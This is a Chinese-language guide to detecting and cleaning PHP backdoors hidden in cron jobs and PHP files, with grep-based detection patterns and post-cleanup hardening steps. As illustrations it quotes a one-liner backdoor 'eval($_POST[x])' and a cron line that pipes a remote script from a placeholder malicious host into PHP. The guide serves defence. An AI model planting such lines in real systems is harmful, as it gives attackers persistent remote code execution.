PHP后门无法仅靠删文件清除，因其常嵌入cron定时任务，需检查用户级（crontab -l）、系统级（/etc/cron.d/）可疑任务，识别curl/wget/php -r/base64等高危组合及异常时间规则，并安全清理、溯源加固。
PHP后门不是靠“删文件”就能清干净的，尤其当它已嵌入定时任务（cron），说明攻击者已获得服务器权限，单纯删掉某个shell.php毫无意义——它可能随时被重新拉起。
怎么看 cron 里有没有可疑定时任务
攻击者常把 PHP 后门调用藏在用户级或系统级 cron 中，比如每分钟请求一次远程脚本、解码执行 base64 字符串，或调用伪装成日志清理的恶意 PHP 文件。
- 运行
crontab -l查当前用户的定时任务；别忘了用sudo crontab -u www-data -l（或对应 Web 进程用户）再查一遍 - 检查系统级任务：
ls /etc/cron*，重点关注/etc/cron.d/下非系统自带的文件（如/etc/cron.d/php-backdoor） - 留意命令中是否含
curl、wget、php -r、base64 -d | php、eval、assert等高危组合 - 时间字段写成
* * * * *或*/2 * * * *（每 2 分钟）却无明确业务用途，大概率异常
怎么安全清理 cron 后门而不误删系统任务
直接 crontab -e 手动删行风险高，容易漏掉隐藏任务或破坏格式。优先用最小干预方式定位并移除。
- 先备份：
crontab -l > /tmp/crontab.bak，再用grep -E "(curl|wget|php\s+-r|base64.*php|eval|assert)" /tmp/crontab.bak快速筛出可疑行 - 对
/etc/cron.d/下的文件，用stat看创建/修改时间：stat /etc/cron.d/* 2>/dev/null | grep -A1 "Modify\|Change"，新近添加且命名异常（如logrotate2）的要重点查 - 删完后立刻执行
crontab -l | wc -l和ls /etc/cron.d/ | wc -l记录基准值，后续巡检可比对 - 不要用
crontab -e清空全部再粘贴回旧内容——换行符或空格错误会导致整个 cron 失效
PHP 文件后门常藏在哪、怎么识别真伪
后门不只躲在 webroot 下的 shell.php，更多混在看似正常的文件里：被篡改的 WordPress 插件主文件、wp-config.php 末尾追加的 eval($_POST[x])、甚至 .user.ini 里用 auto_prepend_file 持久挂载。
word报告自动生成神器
下载
Word报告自动生成神器。自动生成专业Word文档报告，支持模板填充、目录生成、表格/图表插入、页眉页脚、多级标题、样式主题、批量邮件合并。当用户需要生成Word报告、创建合同文档、批量生成通知/证书、填充Word模板、制作商业计划书时触发。
立即学习“PHP免费学习笔记（深入）”；
- 搜索 Web 目录下所有含
eval、assert、system、passthru、exec、shell_exec的 PHP 文件：grep -r --include="*.php" -E "(eval|assert|system|passthru|exec|shell_exec)\s*\(" /var/www/ - 重点检查文件修改时间异常的新文件，或权限为
666/777却非上传目录的 PHP 文件 -
.htaccess里若出现SetHandler application/x-httpd-php配合非 PHP 后缀（如.jpg），说明图片文件可能被当作 PHP 执行 - 别忽略
phar://协议利用 —— 某些后门会生成shell.phar，通过phar://shell.phar/shell.php触发，这类需查allow_url_include = On是否开启
删完之后必须做的三件事
清理只是第一步，没做这三件事，几天内大概率复现。
- 查登录日志：
last和grep "Accepted" /var/log/auth.log，确认攻击者用的账号和 IP，封禁对应 IP 并禁用弱密码账号 - 检查 PHP 配置：
php -i | grep "disable_functions"，确保exec、shell_exec、system等已禁用；若输出为空或包含这些函数，说明配置未生效或被绕过 - 重置所有 Web 用户密码、数据库密码、FTP 密码，并检查数据库里是否有新增的管理员账号（如 WordPress 的
wp_users表）
真正难的不是找到那行 */5 * * * * curl -s http://mal.com/x.php | php，而是确认它没通过其他通道（如环境变量注入、LD_PRELOAD、SSH authorized_keys）重建自身。删完 cron 和 PHP 文件后，最该花时间的是溯源 —— 它从哪进来的？是未更新的插件？还是暴露的 phpMyAdmin？
